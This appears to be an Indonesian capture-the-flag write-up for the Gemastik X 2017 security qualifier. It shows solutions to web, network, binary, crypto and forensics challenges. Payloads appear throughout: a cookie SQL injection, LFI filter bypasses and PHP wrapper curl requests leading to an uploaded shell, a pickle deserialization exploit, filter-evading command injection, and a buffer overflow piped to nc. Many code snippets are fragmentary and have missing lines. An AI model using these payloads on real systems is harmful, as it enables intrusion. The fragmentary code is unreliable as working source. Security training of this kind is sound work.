Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Sebuah web memiliki fitur untuk melakukan login & register. Seperti biasa, Anda ingin
menguji keamanan dari web tersebut. Tujuan Anda adalah untuk mendapatkan akses admin pada
web tersebut. Sepertinya ada masalah dengan Cookie pada nilai 'admin' dan 'verifier'."
Solusi
Pertama saat kami coba untuk register dengan field
Nama : hehe
Email ID : hehe@hehe.com
Password : hehehe
Setelah itu kami coba untuk login dengan menggunakan id yang telah kami buat,
dan menurut deskripsi yang diberikan soal, kami coba untuk mengecek cookies
yang ada. Kami mendapatkan cookies untuk auth yang berisikan
%7B%22username%22+%3A+%22hehe%22%2C+%22admin%22+%3A+0%2C+%22verifier%22+%3A+
%22831cfe56bf56b92eca194edbb06aa635%22%7D
yang mana apabila kami decode url nya menjadi bentuk
{"username" : "hehe", "admin" : 0, "verifier" :
"831cfe56bf56b92eca194edbb06aa635"}
Kami c
uriga dengan field verifier yang berupa sebuah h ash MD5. Maka dari itu
kami c oba untuk decrypt hash tersebut dan didapatkan s tring ‘admin:0’.
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Versi web ini adalah pengembangan dari yang sebelumnya untuk memperbaiki celah sederhana
yang ada pada versi terdahulu."
Hint : Pada versi ini, verifikasi Cookie dilakukan dengan menggunakan database.
// ....
// ....
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Solusi
Pada awalnya hingga sebelum 3 jam terakhir, kami belum menemukan ide sama
sekali, terima kasih karena Hint yang diberikan oleh panitia membuat kami
sadar bahwa ini adalah soal SQL Injection. Pada awalnya kami melakukan
registrasi akun sama persis seperti soal Login & Register 1. Saat kami login,
kami mengecek cookies auth yang setelah di decode url nya menjadi
{"username" : "hehe", "admin" : 0, "token" :
"0cbc14e2fd28a68774d9d826b675470d"}
Setelah melihat hint, kami tahu bahwa nilai token akan dicari pada database.
Kami pun coba menebak query yang akan dijalankan pada file PHP tersebut adalah
SELECT * FROM USER WHERE token=’$_GET[‘token’]’
Oleh karena itu kami akan mengisi token tersebut dengan query SQL. Pada
awalnya kami mencoba untuk memasukkan nilai token menjadi
token = 0cbc14e2fd28a68774d9d826b675470d0’ or 1=1 LIMIT 0,1 --
Namun k
ami tidak mendapatkan apa-apa. Setelah itu kami mencoba untuk mengisi
nilai t oken menjadi
token = ’ or 1=1 LIMIT 0,1 --
Setelah itu kami coba melakukan url encoding dari cookies auth yang terbaru
yaitu
{"username" : "hehe", "admin" : 1, "token" : "' or 1=1 LIMIT 0,1 -- "}
yang didapatkan
%7B%22username%22+%3A+%22hehe%22%2C+%22admin%22+%3A+1%2C+%22token%22+%3A+%22
%27+or+1%3D1+LIMIT+0%2C1+--+%22%7D
Kemudian string hasil encoding kami gantikan ke cookies auth dan kami refresh
halaman dan didapatkan flag.
FLAG = GEMASTIK{belive_it_0r_n0t_this_is_based_on_real_case}
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Sebuah web portfolio biasanya dibuat menjadi static web yang hanya terdiri dari client side
scripting. Namun, kadang untuk hal sederhana sekalipun tetap saja ada yang membuatnya dengan
server side scripting seperti PHP."
Info : Konfigurasi yang mengakibatkan soal ini menjadi lebih sulit diselesaikan sudah
diperbaiki. Silahkan coba kembali.
Solusi
Diberikan sebuah website yang mana file gambar-gambar tersebut ditaruh pada
direktori images/work/nama-file dan akan dipanggil pada work.php serta dengan
Request Body project. Kami berpikir ini adalah permasalahan Local File
Inclusion (LFI). Pada awalnya kami mencoba untuk melakukan command linux curl
untuk mendapatkan file work.php yaitu :
curl -v
http://target.netsec.gemastik.ui.ac.id:60013/f48d89678975d340fe860d08b3c03d1
d/work.php?project=../../work.php
Terdapat balasan yaitu
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Dengan melihat pada Warning yang diberikan kami mendapatkan bahwa readfile
yang seharusnya menjadi images/work/../../work.php malah menjadi
images/work///work. Kami menyadari bahwa terdapat filter di file work.php
untuk menghapus string yang masuk pada object ‘project’ dengan filter
menghapus string ‘..’ dan string ‘php’. Dengan menebak bahwa filter hanya
dilakukan satu kali saja, kami coba untuk melewati filter tersebut dengan
memasukkan nilai project menjadi .php./.php./work.pphphp. Setelah itu kami
coba eksekusi command curl yaitu :
curl -v
http://target.netsec.gemastik.ui.ac.id:60013/f48d89678975d340fe860d08b3c03d1
d/work.php?project=.php./.php./work.pphphp
Dan akan didapatkan response sebagai berikut yang juga berisikan flag
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Komputasi awan menawarkan kemudahan akses karena data Anda tersimpan di internet. Namun,
ini berarti keamanan data Anda bergantung pada penyedia layanan tersebut."
Solusi
Diberikan suatu web service yang memberikan fitur untuk upload gambar. Ketika
kami coba inspect element, kami menemukan bahwa input nya accept=”image/jpeg”.
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Kami mencoba untuk upload gambar dan berhasil. Kami mendapatkan hash dari nama
file kita. Kemudian kami coba beberapa trial dengan menggunakan Burp Suite
untuk upload file non gambar yaitu file tes.txt yang berisi teks “hehe” dan
kami coba untuk upload file tes_2.txt yang berisi teks “hehe” juga ternyata
kami mendapatkan link hash yang kita lihat adalah sama. Setelah mencari tahu,
ternyata kami mendapatkan bahwa nilai hash yang diberikan adalah hash md5.
Disini saya dapat menyimpulkan bahwa hash yang dibuat adalah hash md5
berdasarkan isi dari file yang dikirimkan, dan tidak tergantung pada nama
file. Namun untuk previewnya kami mendapatkan response Error. Setelah beberapa
jam berlalu kami tidak bisa solve soal ini karena tidak ada ide. Setelah
mendapatkan hint dari admin yaitu php wrapper, hal pertama yang kami coba
adalah fungsi dari php://filter. Dengan belajar dari sumber
https://infamoussyn.com/tag/php-wrappers/ kami mencoba untuk melakukan lfi
dengan menggunakan php wrapper pada index.php.
curl -v
http://target.netsec.gemastik.ui.ac.id:60014/81b8c729faf7b221ff4cb1a17
70b8be6/index.php?section=php://filter/convert.base64-encode/resource=
index.php
2. Kemudian kami coba ambil resource nya index saja tidak menggunakan
extensi .php dan didapatkan base64 yang apabila kami decode didapatkan
file index.php
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Kami menyimpulkan bahwa kami bisa menjalankan LFI pada section karena
potongan kode include($section.”.php”); yang mana fungsinya tidak difilter dan
kami bisa memasukkan apapun yang nantinya akan ditambahkan ekstensi .php
dibelakangnya. Maka dari itu kami coba untuk menjalankan command sebelumnya
dengan resource valuenya menjadi upload, uploaded, dan image untuk mendapatkan
file upload.php, uploaded.php dan image.php yang sebagai berikut
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Upload.php
Uploaded.php
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Image.php
Kami coba menebak nilai hash nya yang mana nilai hash dari file tes.zip
kami adalah 2ccd9b0163dc7a0ff653e558cb8b1865.
6. Kami coba jalankan command curl namun kali ini dengan menggunakan
wrapper zip:// yaitu
curl -v
http://target.netsec.gemastik.ui.ac.id:60014/81b8c729faf7b221ff4cb1a1770b8be
6/index.php?section=zip://gemastik-uploads/2ccd9b0163dc7a0ff653e558cb8b1865.
file%23coba
7. Yeay terlihat bahwa code coba.php bisa dieksekusi secara remote. Oleh
karena itu, kami langsung mencoba untuk upload script shell.php
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Setelah melalui proses yang sama kami mendapatkan isi dari file tersebut
ternyata berisi flag yang mana responsenya adalah
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Target :
http://target.netsec.gemastik.ui.ac.id:60015/d2e6866760841f70cbd402f02e4654ea/
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Suatu layanan jaringan client & server yang melakukan otentikasi dibuat dengan menggunakan
Python 3. Berkas client.py dan server.py yang digunakan dapat Anda unduh di bawah."
Solusi
class incoming(socketserver.BaseRequestHandler):
def handle(self):
else:
req.sendall(b"Authentication Failed")
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
req.close()
Dapat dilihat bahwa server hanya melakukan split pada message yang dikirim
client, kemudian membandingkannya dengan string b’admin’ dan
b’b697fce54b2d5602376b9fd39f387c870c99f2b9355a8b23dfb42426159ddec8’.
#!/usr/bin/python3
import getpass
import hashlib
import socket
import sys
exit()
s.connect((host, port))
print(response.decode('utf-8'))
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
FLAG :GEMASTIK{problematic_client_side_hashing}
"Layanan jaringan ini menggunakan socat untuk melakukan forking terhadap berkas program
Python. Program Python yang dijalankan memiliki fungsi untuk melakukan generate random
string. Berkas random-string-generator.py yang digunakan dapat Anda unduh di bawah."
Solusi
import subprocess
import sys
if '|' not in length and '&' not in length:
cmd = "head /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w '%s' | head -n 1" % length
print cmd
print output
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Dapat dilihat bahwa kita dapat melakukan command injection pada string length.
Ada 2(yang kami ketahui) cara untuk mendapatkan flag, yaitu :
"Suatu layanan jaringan client & server yang melakukan otentikasi dibuat dengan menggunakan
Python 3. Berkas client2.py dan server2.py yang merupakan pengembangan dari yang sebelumnya
dapat Anda unduh di bawah."
Solusi
Pada python auth kedua dilakukan perhitungan hash sha1 di server, dan mukan di
client ( seperti python auth 1 ). Namun sayangnya pesan dikemas dengan
pickle.dumps dan dibuka dengan pickle.loads, kesalahan ini dapat dimanfaatkan
untuk melakukan command injection.
class incoming(socketserver.BaseRequestHandler):
def handle(self):
else:
req.sendall(b"Authentication Failed")
req.close()
#!/usr/bin/python3
import os
import base64
import getpass
import hashlib
import pickle
import socket
import sys
class Exploit(object):
def __reduce__(self):
exit()
print(serialized)
s.connect((host, port))
print(response.decode('utf-8'))
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Layanan jaringan ini menggunakan socat untuk melakukan forking terhadap berkas program
Python. Program Python yang dijalankan memiliki fungsi untuk melakukan generate random
string. Berkas random-string-generator2.py yang merupakan pengembangan dari yang sebelumnya
dapat Anda unduh di bawah."
Solusi
Pada soal random string generator 2 ini ditambahkan filter untuk beberapa
karakter :
if ' ' not in length and '$' not in length and '|' not in length and '&' not in length and
len(length) <= 8:
Dapat dilakukan Remote Command Execution untuk mendapatkan flag dengan dua
cara :
1. Lakukan ‘; ls’, kemudian ‘;catflag.txt’ (menggunakan tab, bukan spasi )
2. Lakukan ‘;sh’, lalu ketikan command , kemudian ketikan command exit.
Lakukan dua kali untuk mendapatkan flag.txt ( ls, dan cat ) .
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Pada challenge ini Anda ditantang untuk memecahkan alur program yang diberikan untuk
mendapatkan data rahasia yang ada pada server. Program ELF netcrack yang harus Anda pecahkan
dapat Anda unduh di bawah."
Solusi
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Dapat dilihat bahwa program akan meminta 5 angka dengan ketentuan tertentu,
masalah ini dapat kita lihat sebagai permasalahN satisfiability. Dapat
diselesaikan menggunakan Z3 (solve.py):
solve(v1 > v3, v1 > v5, (v2 + 1337) == v5, (v1-v3) == v4, (v3*v5) == v4)
Jalankan dan didapatkan output : [v4 = 4, v5 = -1, v3 = -4, v1 = 0, v2 =
-1338]
"Layanan jaringan ini meminta password agar dapat diakses. Anda tidak mengetahui
passwordnya. Tentu saja Anda sebagai hacker harus mencari cara untuk masuk ke dalam layanan
tersebut. Program ELF access-protocol yang digunakan server dapat Anda unduh di bawah."
Solusi
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Pada awalnya kami mengira bahwa ini permasalahan ret2libc, karena tidak ada
fungsi untuk membuka flag ( dan binary dilindungi canary dan nx ) -_- . Namun
pada menit akhir kami mencoba untuk mendapatkan puts(‘Authenticated’), yaitu
dengan cara menimpa lokasi memori &ptr (berisi password) supaya sama dengan
apa yang ada di &s1 (inputan user). Karena inputan &s1 menggunakan gets, maka
dapat dilakukan buffer overflow sampai &2.
Perhatikan lokasi &1 [sp+10h] dan &ptr [sp+20h] , artinya jarak antar keduanya
adalah 16 bytes. Maka dapat dilakukan buffer overflow dengan cara :
$ perl -e 'print "\x00"x17 . "\n"' | nc target.netsec.gemastik.ui.ac.id 60006
Password: Authenticated
GEMASTIK{__bypassing_auth_like_a_1337_*}
"Mesin lotere yang tahun lalu diretas telah diperbaiki. Kini mesin ini bisa digunakan
kembali. Anda pun ingin mencoba menguji keamanan mesin tersebut yang terhubung dengan
jaringan. Program ELF lottery-redux yang digunakan dapat Anda unduh di bawah."
Solusi
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Dapat dilihat bahwa tidak ada batasan slot index untuk > 10, yang artinya kita
dapat melakukan arbritary memory write pada stack setelah v14. Kita dapat
melakukan write pada address RIP main menjadi address prize ( 0x400906 ).
Untuk melakukan itu, pertama kita harus mengetahui beberapa hal :
3. Maka jarak v14 dengan RIP main : 0x7fffffffde28 - 0x7fffffffdda0 = 136
bytes
4. Karena yang diwrite adalah integer, maka 136/14 = 34 ( masukkan 35 pada
saat exploit, karena akan dikurangi 1 index )
5. Integer dari memory address prize() : 0x400906 = 4196614
6. Karena binary 64 bit, maka kosongkan index ke 35 (36 pada saat exploit )
juga.
1 2 3 4 5 6 7 8 9 10
1 2 3 4 5 6 7 8 9 10
"Online Game pada dasarnya menggunakan jaringan untuk melakukan komunikasi baik menggunakan
TCP maupun UDP. Kali ini Anda harus meretas sebuah permainan Labirin yang online menggunakan
TCP. Sepintas permainan ini tidak dapat diselesaikan dengan 'cara biasa'. Program maze yang
digunakan dapat Anda unduh di bawah."
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Anda diundang oleh National Crypto Institute untuk mengikuti ujian intelijen. Seorang
intelijen haruslah mahir dalam hal persandian dan kriptografi. Selain itu, kriptografi juga
memiliki peran penting dalam keamanan jaringan dan sistem informasi.
Sebagai permulaan, Anda diharuskan memecahkan sebuah kriptografi yang dibuat menggunakan
Python. Anda dapat mengunduh berkas simple-cryptosystem.py dan juga encrypted.txt. Tugas
Anda adalah mendekripsi pesan yang terdapat pada encrypted.txt."
Solusi
return
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
if c.isupper():
io_target.write(enc)
elif c.islower():
io_target.write(enc)
else:
io_target.write(c)
io_plaintext.close()
io_target.close()
io_key.close()
return
YFTZXPAO{oqedq_ihzaqpfvp_dahh_sfhi_ler_pe_wbfzo_xetf_mblipexlxpftx}
Karena kita tahu bahwa YFTXPAO = GEMASTIK, lakukan dekripsi seperti berikut :
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
known= 'GEMASTIK'
h = ''
if c.islower():
elif c.isupper():
else:
h += c
else:
h+= c
print h
known= 'GEMASTIKYDNXLHFUPBORCWJ'
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Ujian berikutnya yang diberikan National Crypto Institute adalah memecahkan kriptografi
tanpa mengetahui pasti algoritma yang digunakan. Mesin kriptografi yang harus dipecahkan
dapat Anda akses melalui jaringan pada:"
Solusi
Flag: GEMASTIK{plaintext}
DvmcRFsek
YBKrEbsek
ksBLWivek
Dapat dilihat bahwa pada percobaan pertama, aaaaaaaap menjadi DvmcRFsek, kemudian
percobaan kedua zasdfwaap, menjadi YBKrEbsek. Perhatikan, dari string terakhir n sampai n-k
(k=3) , hasil dekripsinya tidak berubah yaitu ‘aap’ - > ‘sek’. Kesimpulannya adalah dapat
dilakukan brute force dari string terbelakang.
print r.recv(400)
print tebak_
r.sendline(tebak_[::-1])
tebak += c
break
print tebak
r.recv(400)
Script di atas tidak dapat dijalankan dengan for ( hasil akan tidak sesuai, tidak tahu
kenapa), jadi masukkan karakter yang benar ke dalam string tebak satu per satu. Sehingga di
akhir di dapatkan Tebak = ‘orblOOcegnellahCrehpiC’
"Sekarang Anda adalah intelijen National Crypto Institute. Tugas pertama Anda adalah
memecahkan enkripsi AES yang ada pada sebuah program. Kode Python nci.py yang merupakan
simulasi reka ulang program dapat Anda unduh di bawah. Berkas hasil program yang harus Anda
pecahkan diletakkan pada nci.zip dan juga dapat Anda unduh di bawah."
Solusi
Script nci.py akan melakukan enkripsi pada file-file dalam satu folder dengan
key dan iv yang sama. Block cipher yang digunakan adalah OFB, artinya kita
dapat melakukan XOR dengan plaintext untuk mendapat key.
Dari berbagai file yang ada di mydir, terdapat Tux.jpg. Kami langsung google
tux jpg untuk mendapatkan file aslinya. Didapatkan Tux.jpg :
https://upload.wikimedia.org/wikipedia/commons/5/56/Tux.jpg.
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
#!/usr/bin/python
f3_.write(flagzip)
f3_.close()
f4_.write(flagzip)
f4_.close()
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Ransomware kembali menyerang (lagi)! Kali ini korbannya banyak. Anda sebagai intelijen
National Crypto Institute tentunya akan menganlisis ransomware tersebut. Simulasi enkripsi
yang dilakukan ransomware sudah dibuat ulang menggunakan Python. Berkas
nci-ransomware-sim-new.py dapat Anda unduh di bawah. Anda harus berhasil mendekripsi berkas
flag-new.pdf yang merupakan berkas penting."
Solusi
def encrypt(bytes):
i = 0
if (len(hh) % 2 != 0): hh = '0' + hh
encrypted_bytes.append(chr(len(s)))
if (len(x) % 2 != 0): x = '0' + x
if (len(y) % 2 != 0): y = '0' + y
if (len(z) % 2 != 0): z = '0' + z
4. Key x = a*b, dan y = c (public key) diberikan dengan skema seperti
berikut :
#!/usr/bin/python
gcd = b
#GET KEY
def get_key() :
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
return d,x
#PLAINTEXT
def get_plaintext():
i = 0
i += 1
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
f__.write(hasil)
f__.close()
get_plaintext()
FLAG :
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Anda melakukan sniffing di sebuah kafe. Sepertinya ada otentikasi HTTP menarik yang
melewati jaringan."
Solusi
Diberikan sebuah rekaman paket data / pcapng. Dari soal yang dinyatakan JSON
Web Token, kami coba cari dan telusuri beberapa paket yang Authorization
Bearer nya menggunakan JWT (Json Web Token). Adapun ciri ciri dari Auth Bearer
JWT adalah depannya diawali dengan ‘eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9’ yang
menyatakan base64 algoritma otentikasinya. Kami menggunakan aplikasi Wireshark
untuk menganalisis paket, di awal kami coba filter paket data tersebut dengan
filter http saja untuk melihat paket http saja. Setelah itu saat kami
telusuri, pada paket ke 205 kami menemukan bahwa paket 205 terdapat kode
otentikasi
‘eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJHZW1hc3RpayIsImlhdCI6MTQ5ODI5
ODAzNSwiZXhwIjoxNTI5ODM0MDM1LCJhdWQiOiJnZW1hc3Rpay51aS5hYy5pZCIsInN1YiI6ImdlbW
FzdGlrQGNzLnVpLmFjLmlkIiwiQ29tcGV0aXRpb24iOiJDVEYiLCJGbGFnIjoiTlVMTCJ9.LEspUiP
24ojkrxF15aaHAtmBF3yDDK0oqbUGzHuRNTY’. Kemudian kami coba decrypt dengan
menggunakan website jwt.io dan didapatkan data payload yang berupa
{
"iss": "Gemastik",
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"iat": 1498298035,
"exp": 1529834035,
"aud": "gemastik.ui.ac.id",
"sub": "gemastik@cs.ui.ac.id",
"Competition": "CTF",
"Flag": "NULL"
}
Kami belum menemukan flagnya kemudian kami coba cari lagi dan kami menemukan
pada paket 249 yang ternyata otentikasinya juga menggunakan JWT dan kami punya
‘eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJHZW1hc3RpayIsImlhdCI6MTQ5ODI5
ODAzNSwiZXhwIjoxNTI5ODM0MDM1LCJhdWQiOiJnZW1hc3Rpay51aS5hYy5pZCIsInN1YiI6ImdlbW
FzdGlrQGNzLnVpLmFjLmlkIiwiQ29tcGV0aXRpb24iOiJDVEYiLCJGbGFnIjoiR0VNQVNUSUt7SldU
X3N0cnVjdHVyZV9pc19zaW1wbGV9In0.4mOlHNDo1Mdd72X-BL35gbEJ99z2j7j8I5jzLE-IXMI’
Saat kami coba decrypt di jwt.io, kami mendapatkan payload data yang ternyata
berisi flag yang kami cari. Adapun payload datanya adalah seperti berikut
{
"iss": "Gemastik",
"iat": 1498298035,
"exp": 1529834035,
"aud": "gemastik.ui.ac.id",
"sub": "gemastik@cs.ui.ac.id",
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
"Competition": "CTF",
"Flag": "GEMASTIK{JWT_structure_is_simple}"
}
"Terjadi insiden serangan yang terjadi pada sebuah server. Anda sebagai investigator
diundang untuk melakukan analisis. Bagian rekaman paket data jaringan yang dicurigai
mengandung informasi penting terkait serangan yang terjadi dapat Anda unduh di bawah."
Solusi
Diberikan sebuah rekaman lalu lintas paket data jaringan pengiriman file
melalui FTP. Ketika kami melihat seluruh paket yang tersedia dengan
menggunakan filter ftp untuk mendapatkan protocol FTP saja, kami mendapatkan
suatu informasi mencurigakan pada paket 166 yang mana informasinya : ‘Request:
STOR exploit.zip’. Langsung saja kami coba untuk search Ctrl+F pada Wireshark
dan search dengan menggunakan filter hex, kemudian kami search hex semua paket
dengan file signature dari .zip yaitu 50 4B 03 04. Dan kami mendapatkan proses
storing file exploit.zip terdapat pada paket 168. Kemudian kami coba copy
semua Data (839 bytes) pada paket 168 dalam bentuk hex nya dan kami coba
extract dengan menggunakan kode python
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
hx =
'50:4b:03:04:14:00:09:00:08:00:3b:7b:d3:4a:e1:52:db:ed:8f:02:00:00:0c:06:00:
00:09:00:1c:00:65:78:70:6c:6f:69:74:2e:63:55:54:09:00:03:91:8a:47:59:74:8b:4
7:59:75:78:0b:00:01:04:f5:01:00:00:04:14:00:00:00:66:05:43:05:1c:e3:1b:a9:b3
:48:28:30:e4:e4:49:e5:12:90:87:5a:23:c0:78:18:0d:e1:64:6d:56:f1:0b:fb:d1:a8:
1a:db:d5:38:55:66:36:ba:aa:7f:13:ad:f8:5b:ed:08:bb:d1:a6:1d:71:a8:12:53:b2:f
d:c1:62:83:c6:a9:ff:ed:af:76:b9:53:22:2b:43:1a:9d:f7:73:28:ed:0e:15:73:bd:7a
:2e:d9:0e:45:dc:41:ce:51:c6:3e:b3:2a:a7:6c:3e:b7:0d:34:17:b9:f5:83:b7:73:52:
2c:ae:03:86:e3:85:d7:f1:f7:13:2f:d2:13:5c:56:50:64:d4:53:b3:4c:f1:32:9a:86:b
3:7d:45:0a:40:98:c1:b3:4c:45:5b:6b:1f:c5:2d:20:c3:29:55:c5:18:2c:03:2c:9f:46
:d0:b0:26:99:c0:9d:72:ce:e2:f1:c6:ff:29:fe:0d:53:a4:0d:44:39:2a:62:51:86:96:
32:af:3c:04:04:6c:a6:27:f0:54:34:3f:5d:8c:f3:9a:f2:45:50:cd:e4:72:b0:ea:24:d
9:98:d1:2c:00:76:46:ab:21:b9:2e:09:34:ba:fb:2a:f7:91:05:31:76:1a:7a:66:22:bf
:37:ef:8b:43:27:55:3b:33:b8:d9:de:bc:22:10:e0:08:4d:e0:6b:ba:28:fa:de:09:d3:
39:6f:ad:84:df:2d:b1:cf:1d:a1:8f:82:25:f3:07:e3:eb:e4:f8:f7:d6:d7:d3:29:dc:b
e:33:96:94:2b:26:a5:96:6e:bc:18:92:71:4d:44:1c:d3:04:e5:94:d1:38:2b:65:01:56
:93:7e:a9:c2:96:7e:fb:42:1c:f3:5d:37:da:da:b9:b1:ad:28:f7:48:be:5d:16:a5:ee:
86:f6:b1:07:30:c7:02:80:d7:a0:07:51:87:90:95:38:bf:c0:b4:54:4b:22:a4:7e:e6:a
e:6d:af:2b:dd:48:d1:a0:ea:15:42:bf:1e:30:5f:e0:19:48:fa:56:bf:48:9f:d6:d9:fb
:54:0b:7d:ff:81:4b:5f:27:fd:8c:0f:f8:15:fd:e9:f3:73:c4:49:7f:3d:57:15:8a:d8:
e3:4f:eb:4b:74:2d:1f:b5:f2:29:b4:8c:2f:6b:78:ea:4e:8d:95:4f:39:4d:57:f7:fa:e
7:76:f2:b1:a5:6e:83:61:cb:50:37:93:c7:18:48:bb:43:ae:3f:9a:a8:9d:e0:19:da:45
:ab:ae:9c:c0:1a:01:79:63:91:d4:87:c1:c2:31:0c:94:b4:cf:ec:37:90:6e:c8:c1:cd:
65:4c:9d:4d:a6:a3:79:05:11:04:2d:fb:cc:a8:6f:5c:bb:bc:14:63:97:3a:8c:6a:35:6
6:cb:30:d3:d4:94:03:80:a3:e7:79:93:1f:9f:dd:a5:94:aa:e5:69:2c:66:6d:3e:1e:50
:00:cf:03:a4:c8:3b:75:80:5e:20:9f:e1:08:9e:f5:82:f6:33:c3:9b:22:c5:48:68:d7:
e2:0a:c4:4e:a5:22:14:ca:17:d9:81:7d:b9:0b:f6:60:c2:8f:54:59:42:d2:00:a4:f8:4
0:5f:68:5c:0e:16:00:c7:76:31:6c:d4:98:30:33:35:67:4a:fa:aa:83:78:25:fe:8b:33
:55:8b:3d:8b:7b:33:d0:ba:e6:1c:a2:a9:d9:96:72:c9:79:01:40:11:0b:bf:7a:fb:cc:
6a:e7:60:7e:af:c2:af:b4:86:ac:77:97:a4:50:4b:07:08:e1:52:db:ed:8f:02:00:00:0
c:06:00:00:50:4b:01:02:1e:03:14:00:09:00:08:00:3b:7b:d3:4a:e1:52:db:ed:8f:02
:00:00:0c:06:00:00:09:00:18:00:00:00:00:00:01:00:00:00:a4:81:00:00:00:00:65:
78:70:6c:6f:69:74:2e:63:55:54:05:00:03:91:8a:47:59:75:78:0b:00:01:04:f5:01:0
0:00:04:14:00:00:00:50:4b:05:06:00:00:00:00:01:00:01:00:4f:00:00:00:e2:02:00
:00:00:00'
hx = hx.replace(':','')
f = open('coba.zip','wb')
f.write(hx.decode('hex'))
f.close()
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Kemudian kami mendapatkan file coba.zip yang mana adalah file dari
exploit.zip. Saat kami coba untuk extract ternyata dibutuhkan password.
Kembali ke pcapng nya lagi, kami coba untuk menemukan passwordnya. Pada paket
231 terdapat aktivitas unzip exploit.zip, maka dari itu passwordnya pasti
tidak jauh dari paket tersebut. Kemudian kami coba follow aktivitas TCP nya
dan didapatkan 3 string yang sepertinya merupakan password dari exploit.zip
yang mana aktivitasnya adalah sebagai berikut:
unzip exploit.zip
w00tqwertyzipethy
w00tqwertyzipey
w00tqwertziphey
while ((read_size = recv(client_sock , client_message , 2000 , 0)) > 0) {
strcpy(content, "GEMASTIK{");
for (i = st; i < st + l; i++) {
}
fputs(content, fp);
fclose(fp);
}
Dari potongan kode tersebut kami dapat menyimpulkan bahwa dari input
clientnya, stringnya akan dixor dengan hex 0x6E kemudian hasilnya akan
disimpan pada /tmp/flag dengan ditambahkan string GEMASTIK{} diantaranya.
Kemudian kembali ke pcapng kami ingin mencari string yang menjadi input dan
kami temukan pada paket 243 dan 246, client mencoba untuk compile dan run dari
exploit.c nya, kemudian pada paket 251 kami mendapatkan data yang kami curigai
adalah data input dari client (client_message). Kemudian kami coba ambil nilai
hex dari data tersebut dan kami buat kode python untuk melakukan xor dengan
nilai hex 0x6E untuk mendapatkan flagnya
hx =
'0b:00:0d:01:0a:0b:1c:31:07:1d:31:01:08:1a:0b:00:31:1b:1d:0b:0a:31:0c:17:31:
0c:0f:0d:05:0a:01:01:1c:31:01:1c:31:0b:16:1e:02:01:07:1a:31:1a:01:31:0f:18:0
1:07:0a:31:07:0a:1d:31:01:1c:31:0f:18:0a'
ans=''
arr = hx.split(':')
for i in arr:
ans+= chr(ord(i.decode('hex'))^0x6E)
print ans
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Tetapi kami mendapatkan status Incorrect sampai akhirnya kami tanya kepada
admin dan admin (terima kasih admin :D) memberikan hint yang mana kami harus
cek ulang mana hex input yang valid. Kemudian saat kami cek ternyata terdapat
nilai hex pada inputan yang tidak perlu diambil yaitu 0a yang berarti newline.
Dengan menghapus nilai hex tersebut kami mendapatkan flag yang benar
Flag :
GEMASTIK{encoder_is_often_used_by_backdoor_or_exploit_to_avoid_ids_or_av}
"Sebuah situs baru saja diserang menggunakan SQL Injection. Dari log yang ada, terlihat
sepertinya penyerang menggunakan sqlmap. Penyerang mungkin saja script kiddie (atau bisa
juga tidak). Anda tentu saja sebagai hacker yang andal bukanlah script kiddie. Dapatkah Anda
menyimpulkan informasi apa yang diperoleh sqlmap penyerang?"
Solusi
Didapatkan file sqlmap.pcap sebesar 29mb, yang cukup berat untuk dibuka di
wireshark . Kami membuka dengan wireshark untuk mengetahui apa saja request
yang ada. Berikut file jika dibuka dengan wireshark :
Writeup Penyisihan Gemastik X Kategori Keamanan Jaringan & Sistem Informasi 2017
Dapat diketahui bahwa file berisi request HTTP dan TCP yang merupakan
penyerangan dengan SQLMAP (dilihat dari judul soal). Agar tidak berat maka
dilakukan beberapa hal berikut :
